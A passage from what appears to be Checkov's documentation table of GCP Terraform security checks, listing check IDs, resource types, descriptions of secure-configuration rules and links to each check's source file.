[GoogleCloudSqlServerNoPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerNoPublicIP.py)                                                                   |\n| 4167 | CKV_GCP_61      | resource | google_container_cluster                                         | Enable VPC Flow Logs and Intranode Visibility                                                                                                                                                            | Terraform | [GKEEnableVPCFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableVPCFlowLogs.py)                                                                                       |\n| 4168 | CKV_GCP_62      | resource | google_storage_bucket                                            | Bucket should log access                                                                                                                                                                                 | Terraform | [CloudStorageLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageLogging.py)                                                                                         |\n| 4169 | CKV_GCP_63      | resource | google_storage_bucket                                            | Bucket should not log to itself                                                                                                                                                                          | Terraform | [CloudStorageSelfLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageSelfLogging.py)                                                                                 |\n| 4170 | CKV_GCP_64      | resource | google_container_cluster                                         | Ensure clusters are created with Private Nodes                                                                                                                                                           | Terraform | [GKEPrivateNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateNodes.py)                                                                                                 |\n| 4171 | CKV_GCP_65      | resource | google_container_cluster                                         | Manage Kubernetes RBAC users with Google Groups for GKE                                                                                                                                                  | Terraform | [GKEKubernetesRBACGoogleGroups.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEKubernetesRBACGoogleGroups.py)                                                                     |\n| 4172 | CKV_GCP_66      | resource | google_container_cluster                                         | Ensure use of Binary Authorization                                                                                                                                                                       | Terraform | [GKEBinaryAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEBinaryAuthorization.py)                                                                                   |\n| 4173 | CKV_GCP_68      | resource | google_container_cluster                                         | Ensure Secure Boot for Shielded GKE Nodes is Enabled                                                                                                                                                     | Terraform | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py)                                                                     |\n| 4174 | CKV_GCP_68      | resource | google_container_node_pool                                       | Ensure Secure Boot for Shielded GKE Nodes is Enabled                                                                                                                                                     | Terraform | [GKESecureBootforShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py)                                                                     |\n| 4175 | CKV_GCP_69      | resource | google_container_cluster                                         | Ensure the GKE Metadata Server is Enabled                                                                                                                                                                | Terraform | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py)                                                                           |\n| 4176 | CKV_GCP_69      | resource | google_container_node_pool                                       | Ensure the GKE Metadata Server is Enabled                                                                                                                                                                | Terraform | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py)                                                                           |\n| 4177 | CKV_GCP_70      | resource | google_container_cluster                                         | Ensure the GKE Release Channel is set                                                                                                                                                                    | Terraform | [GKEReleaseChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEReleaseChannel.py)                                                                                             |\n| 4178 | CKV_GCP_71      | resource | google_container_cluster                                         | Ensure Shielded GKE Nodes are Enabled                                                                                                                                                                    | Terraform | [GKEEnableShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableShieldedNodes.py)                                                                                   |\n| 4179 | CKV_GCP_72      | resource | google_container_cluster                                         | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled                                                                                                                                            | Terraform | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py)                                                                       |\n| 4180 | CKV_GCP_72      | resource | google_container_node_pool                                       | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled                                                                                                                                            | Terraform | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py)                                                                       |\n| 4181 | CKV_GCP_73      | resource | google_compute_security_policy                                   | Ensure Cloud Armor prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                                                                                                                  | Terraform | [CloudArmorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudArmorWAFACLCVE202144228.py)                                                                       |\n| 4182 | CKV_GCP_74      | resource | google_compute_subnetwork                                        | Ensure that private_ip_google_access is enabled for Subnet                                                                                                                                               | Terraform | [GoogleSubnetworkPrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkPrivateGoogleEnabled.py)                                                       |\n| 4183 | CKV_GCP_75      | resource | google_compute_firewall                                          | Ensure Google compute firewall ingress does not allow unrestricted FTP access                                                                                                                            | Terraform | [GoogleComputeFirewallUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress21.py)                                           |\n| 4184 | CKV_GCP_76      | resource | google_compute_subnetwork                                        | Ensure that Private google access is enabled for IPV6                                                                                                                                                    | Terraform | [GoogleSubnetworkIPV6PrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkIPV6PrivateGoogleEnabled.py)                                               |\n| 4185 | CKV_GCP_77      | resource | google_compute_firewall                                          | Ensure Google compute firewall ingress does not allow on ftp port                                                                                                                                        | Terraform | [GoogleComputeFirewallUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress20.py)                                           |\n| 4186 | CKV_GCP_78      | resource | google_storage_bucket                                            | Ensure Cloud storage has versioning enabled                                                                                                                                                              | Terraform | [CloudStorageVersioningEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageVersioningEnabled.py)                                                                     |\n| 4187 | CKV_GCP_79      | resource | google_sql_database_instance                                     | Ensure SQL database is using latest Major version                                                                                                                                                        | Terraform | [CloudSqlMajorVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudSqlMajorVersion.py)                                                                                       |\n| 4188 | CKV_GCP_80      | resource | google_bigquery_table                                            | Ensure Big Query Tables are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                      | Terraform | [BigQueryTableEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableEncryptedWithCMK.py)                                                                     |\n| 4189 | CKV_GCP_81      | resource | google_bigquery_dataset                                          | Ensure Big Query Datasets are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                    | Terraform | [BigQueryDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryDatasetEncryptedWithCMK.py)                                                                 |\n| 4190 | CKV_GCP_82      | resource | google_kms_crypto_key                                            | Ensure KMS keys are protected from deletion                                                                                                                                                              | Terraform | [GoogleKMSPreventDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSPreventDestroy.py)                                                                                 |\n| 4191 | CKV_GCP_83      | resource | google_pubsub_topic                                              | Ensure PubSub Topics are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                         | Terraform | [CloudPubSubEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudPubSubEncryptedWithCMK.py)                                                                         |\n| 4192 | CKV_GCP_84      | resource | google_artifact_registry_repository                              | Ensure Artifact Registry Repositories are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                        | Terraform | [ArtifactRegsitryEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegsitryEncryptedWithCMK.py)                                                               |\n| 4193 | CKV_GCP_85      | resource | google_bigtable_instance                                         | Ensure Big Table Instances are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                   | Terraform | [BigTableInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceEncryptedWithCMK.py)                                                               |\n| 4194 | CKV_GCP_86      | resource | google_cloudbuild_worker_pool                                    | Ensure Cloud build workers are private                                                                                                                                                                   | Terraform | [CloudBuildWorkersArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudBuildWorkersArePrivate.py)                                                                         |\n| 4195 | CKV_GCP_87      | resource | google_data_fusion_instance                                      | Ensure Data fusion instances are private                                                                                                                                                                 | Terraform | [DataFusionPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionPrivateInstance.py)                                                                             |\n| 4196 | CKV_GCP_88      | resource | google_compute_firewall                                          | Ensure Google compute firewall ingress does not allow unrestricted mysql access                                                                                                                          | Terraform | [GoogleComputeFirewallUnrestrictedIngress3306.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3306.py)                                       |\n| 4197 | CKV_GCP_89      | resource | google_notebooks_instance                                        | Ensure Vertex AI instances are private                                                                                                                                                                   | Terraform | [VertexAIPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIPrivateInstance.py)                                                                                 |\n| 4198 | CKV_GCP_90      | resource | google_dataflow_job                                              | Ensure data flow jobs are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                        | Terraform | [DataflowJobEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowJobEncryptedWithCMK.py)                                                                         |\n| 4199 | CKV_GCP_91      | resource | google_dataproc_cluster                                          | Ensure Dataproc cluster is encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                       | Terraform | [DataprocClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocClusterEncryptedWithCMK.py)                                                                 |\n| 4200 | CKV_GCP_92      | resource | google_vertex_ai_dataset                                         | Ensure Vertex AI datasets uses a CMK (Customer Managed Key)                                                                                                                                              | Terraform | [VertexAIDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIDatasetEncryptedWithCMK.py)                                                                 |\n| 4201 | CKV_GCP_93      | resource | google_spanner_database                                          | Ensure Spanner Database is encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                                       | Terraform | [SpannerDatabaseEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseEncryptedWithCMK.py)                                                                 |\n| 4202 | CKV_GCP_94      | resource | google_dataflow_job                                              | Ensure Dataflow jobs are private                                                                                                                                                                         | Terraform | [DataflowPrivateJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowPrivateJob.py)                                                                                           |\n| 4203 | CKV_GCP_95      | resource | google_redis_instance                                            | Ensure Memorystore for Redis has AUTH enabled                                                                                                                                                            | Terraform | [MemorystoreForRedisAuthEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisAuthEnabled.py)                                                                   |\n| 4204 | CKV_GCP_96      | resource | google_vertex_ai_metadata_store                                  | Ensure Vertex AI Metadata Store uses a CMK (Customer Managed Key)                                                                                                                                        | Terraform | [VertexAIMetadataStoreEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIMetadataStoreEncryptedWithCMK.py)                                                     |\n| 4205 | CKV_GCP_97      | resource | google_redis_instance                                            | Ensure Memorystore for Redis uses intransit encryption                                                                                                                                                   | Terraform | [MemorystoreForRedisInTransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisInTransitEncryption.py)                                                   |\n| 4206 | CKV_GCP_98      | resource | google_dataproc_cluster_iam_binding                              | Ensure that Dataproc clusters are not anonymously or publicly accessible                                                                                                                                 | Terraform | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py)                                                                                   |\n| 4207 | CKV_GCP_98      | resource | google_dataproc_cluster_iam_member                               | Ensure that Dataproc clusters are not anonymously or publicly accessible                                                                                                                                 | Terraform | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py)                                                                                   |\n| 4208 | CKV_GCP_99      | resource | google_pubsub_topic_iam_binding                                  | Ensure that Pub/Sub Topics are not anonymously or publicly accessible                                                                                                                                    | Terraform | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py)                                                                                           |\n| 4209 | CKV_GCP_99      | resource | google_pubsub_topic_iam_member                                   | Ensure that Pub/Sub Topics are not anonymously or publicly accessible                                                                                                                                    | Terraform | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py)                                                                                           |\n| 4210 | CKV_GCP_100     | resource | google_bigquery_table_iam_binding                                | Ensure that BigQuery Tables are not anonymously or publicly accessible                                                                                                                                   | Terraform | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py)                                                                                       |\n| 4211 | CKV_GCP_100     | resource | google_bigquery_table_iam_member                                 | Ensure that BigQuery Tables are not anonymously or publicly accessible                                                                                                                                   | Terraform | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py)                                                                                       |\n| 4212 | CKV_GCP_101     | resource | google_artifact_registry_repository_iam_binding                  | Ensure that Artifact Registry repositories are not anonymously or publicly accessible                                                                                                                    | Terraform | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py)                                                                         |\n| 4213 | CKV_GCP_101     | resource | google_artifact_registry_repository_iam_member                   | Ensure that Artifact Registry repositories are not anonymously or publicly accessible                                                                                                                    | Terraform | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py)                                                                         |\n| 4214 | CKV_GCP_102     | resource | google_cloud_run_service_iam_binding                             | Ensure that GCP Cloud Run services are not anonymously or publicly accessible                                                                                                                            | Terraform | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py)                                                                             |\n| 4215 | CKV_GCP_102     | resource | google_cloud_run_service_iam_member                              | Ensure that GCP Cloud Run services are not anonymously or publicly accessible                                                                                                                            | Terraform | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py)                                                                             |\n| 4216 | CKV_GCP_103     | resource | google_dataproc_cluster                                          | Ensure Dataproc Clusters do not have public IPs                                                                                                                                                          | Terraform | [DataprocPublicIpCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPublicIpCluster.py)                                                                                 |\n| 4217 | CKV_GCP_104     | resource | google_data_fusion_instance                                      | Ensure Datafusion has stack driver logging enabled                                                                                                                                                       | Terraform | [DataFusionStackdriverLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverLogs.py)                                                                             |\n| 4218 | CKV_GCP_105     | resource | google_data_fusion_instance                                      | Ensure Datafusion has stack driver monitoring enabled                                                                                                                                                    | Terraform | [DataFusionStackdriverMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverMonitoring.py)                                                                 |\n| 4219 | CKV_GCP_106     | resource | google_compute_firewall                                          | Ensure Google compute firewall ingress does not allow unrestricted http port 80 access                                                                                                                   | Terraform | [GoogleComputeFirewallUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress80.py)                                           |\n| 4220 | CKV_GCP_107     | resource | google_cloudfunctions2_function_iam_binding                      | Cloud functions should not be public                                                                                                                                                                     | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 4221 | CKV_GCP_107     | resource | google_cloudfunctions2_function_iam_member                       | Cloud functions should not be public                                                                                                                                                                     | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 4222 | CKV_GCP_107     | resource | google_cloudfunctions_function_iam_binding                       | Cloud functions should not be public                                                                                                                                                                     | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 4223 | CKV_GCP_107     | resource | google_cloudfunctions_function_iam_member                        | Cloud functions should not be public                                                                                                                                                                     | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py)                                                                 |\n| 4224 | CKV_GCP_108     | resource | google_sql_database_instance                                     | Ensure hostnames are logged for GCP PostgreSQL databases                                                                                                                                                 | Terraform | [GoogleCloudPostgreSqlLogHostname.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogHostname.py)                                                               |\n| 4225 | CKV_GCP_109     | resource | google_sql_database_instance                                     | Ensure the GCP PostgreSQL database log levels are set to ERROR or lower                                                                                                                                  | Terraform | [GoogleCloudPostgreSqlLogMinErrorStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinErrorStatement.py)                                             |\n| 4226 | CKV_GCP_110     | resource | google_sql_database_instance                                     | Ensure pgAudit is enabled for your GCP PostgreSQL database                                                                                                                                               | Terraform | [GoogleCloudPostgreSqlEnablePgaudit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlEnablePgaudit.py)                                                           |\n| 4227 | CKV_GCP_111     | resource | google_sql_database_instance                                     | Ensure GCP PostgreSQL logs SQL statements                                                                                                                                                                | Terraform | [GoogleCloudPostgreSqlLogStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogStatement.py)                                                             |\n| 4228 | CKV_GCP_112     | resource | google_kms_crypto_key_iam_binding                                | Ensure KMS policy should not allow public access                                                                                                                                                         | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py)                                                                                       |\n| 4229 | CKV_GCP_112     | resource | google_kms_crypto_key_iam_member                                 | Ensure KMS policy should not allow public access                                                                                                                                                         | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py)                                                                                       |\n| 4230 | CKV_GCP_112     | resource | google_kms_crypto_key_iam_policy                                 | Ensure KMS policy should not allow public access                                                                                                                                                         | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py)                                                                                       |\n| 4231 | CKV_GCP_113     | data     | google_iam_policy                                                | Ensure IAM policy should not define public access                                                                                                                                                        | Terraform | [GooglePolicyIsPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/gcp/GooglePolicyIsPrivate.py)                                                                                         |\n| 4232 | CKV_GCP_114     | resource | google_storage_bucket                                            | Ensure public access prevention is enforced on Cloud Storage bucket                                                                                                                                      | Terraform | [GoogleStoragePublicAccessPrevention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStoragePublicAccessPrevention.py)                                                         |\n| 4233 | CKV_GCP_115     | resource | google_organization_iam_binding                                  | Ensure basic roles are not used at organization level.                                                                                                                                                   | Terraform | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py)                                                                                           |\n| 4234 | CKV_GCP_115     | resource | google_organization_iam_member                                   | Ensure basic roles are not used at organization level.                                                                                                                                                   | Terraform | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py)                                                                                           |\n| 4235 | CKV_GCP_116     | resource | google_folder_iam_binding                                        | Ensure basic roles are not used at folder level.                                                                                                                                                         | Terraform | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py)                                                                                     |\n| 4236 | CKV_GCP_116     | resource | google_folder_iam_member                                         | Ensure basic roles are not used at folder level.                                                                                                                                                         | Terraform | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py)                                                                                     |\n| 4237 | CKV_GCP_117     | resource | google_project_iam_binding                                       | Ensure basic roles are not used at project level.                                                                                                                                                        | Terraform | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py)                                                                                   |\n| 4238 | CKV_GCP_117     | resource | google_project_iam_member                                        | Ensure basic roles are not used at project level.                                                                                                                                                        | Terraform | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py)                                                                                   |\n| 4239 | CKV_GCP_118     | resource | google_iam_workload_identity_pool_provider                       | Ensure IAM workload identity pool provider is restricted                                                                                                                                                 | Terraform | [GoogleIAMWorkloadIdentityConditional.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleIAMWorkloadIdentityConditional.py)                                                       |\n| 4240 | CKV_GCP_119     | resource | google_spanner_database                                          | Ensure Spanner Database has deletion protection enabled                                                                                                                                                  | Terraform | [SpannerDatabaseDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDeletionProtection.py)                                                             |\n| 4241 | CKV_GCP_120     | resource | google_spanner_database                                          | Ensure Spanner Database has drop protection enabled                                                                                                                                                      | Terraform | [SpannerDatabaseDropProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDropProtection.py)                                                                     |\n| 4242 | CKV_GCP_121     | resource | google_bigquery_table                                            | Ensure BigQuery tables have deletion protection enabled                                                                                                                                                  | Terraform | [BigQueryTableDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableDeletionProtection.py)                                                                 |\n| 4243 | CKV_GCP_122     | resource | google_bigtable_instance                                         | Ensure Big Table Instances have deletion protection enabled                                                                                                                                              | Terraform | [BigTableInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceDeletionProtection.py)                                                           |\n| 4244 | CKV_GCP_123     | resource | google_container_cluster                                         | GKE Don't Use NodePools in the Cluster configuration                                                                                                                                                     | Terraform | [GKEDontUseNodePools.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDontUseNodePools.py)                                                                                         |\n| 4245 | CKV_GCP_124     | resource | google_cloudfunctions2_function                                  | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting                                                                                                                       | Terraform | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py)                                                                   |\n| 4246 | CKV_GCP_124     | resource | google_cloudfunctions_function                                   | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting                                                                                                                       | Terraform | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py)                                                                   |\n| 4247 | CKV_GCP_125     | resource | google_iam_workload_identity_pool_provider                       | Ensure GCP GitHub Actions OIDC trust policy is configured securely                                                                                                                                       | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GithubActionsOIDCTrustPolicy.py)                                                                       |\n| 4248 | CKV_GCP_126     | resource | google_notebooks_instance                                        | Ensure Vertex AI Notebook instances are launched with Shielded VM enabled                                                                                                                                | Terraform | [GoogleVertexAINotebookShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleVertexAINotebookShieldedVM.py)                                                               |\n| 4249 | CKV_GCP_127     | resource | google_notebooks_instance                                        | Ensure Integrity Monitoring for Shielded Vertex AI Notebook Instances is Enabled                                                                                                                         | Terraform | [VertexAINotebookEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAINotebookEnsureIntegrityMonitoring.py)                                             |\n| 4250 | CKV2_GCP_1      | resource | google_project_default_service_accounts                          | Ensure GKE clusters are not running using the Compute Engine default service account                                                                                                                     | Terraform | [GKEClustersAreNotUsingDefaultServiceAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GKEClustersAreNotUsingDefaultServiceAccount.yaml)                                 |\n| 4251 | CKV2_GCP_2      | resource | google_compute_network                                           | Ensure legacy networks do not exist for a project                                                                                                                                                        | Terraform | [GCPProjectHasNoLegacyNetworks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPProjectHasNoLegacyNetworks.yaml)                                                             |\n| 4252 | CKV2_GCP_3      | resource | google_service_account_key                                       | Ensure that there are only GCP-managed service account keys for each service account                                                                                                                     | Terraform | [ServiceAccountHasGCPmanagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/ServiceAccountHasGCPmanagedKey.yaml)                                                           |\n| 4253 | CKV2_GCP_4      | resource | google_logging_folder_sink                                       | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 4254 | CKV2_GCP_4      | resource | google_logging_organization_sink                                 | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 4255 | CKV2_GCP_4      | resource | google_logging_project_sink                                      | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 4256 | CKV2_GCP_4      | resource | google_storage_bucket                                            | Ensure that retention policies on log buckets are configured using Bucket Lock                                                                                                                           | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml)                                                       |\n| 4257 | CKV2_GCP_5      | resource | google_project                                                   | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project                                                                                                  | Terraform | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml)                               |\n| 4258 | CKV2_GCP_5      | resource | google_project_iam_audit_config                                  | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project                                                                                                  | Terraform | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml)                               |\n| 4259 | CKV2_GCP_6      | resource | google_kms_crypto_key                                            | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible                                                                                                                              | Terraform | 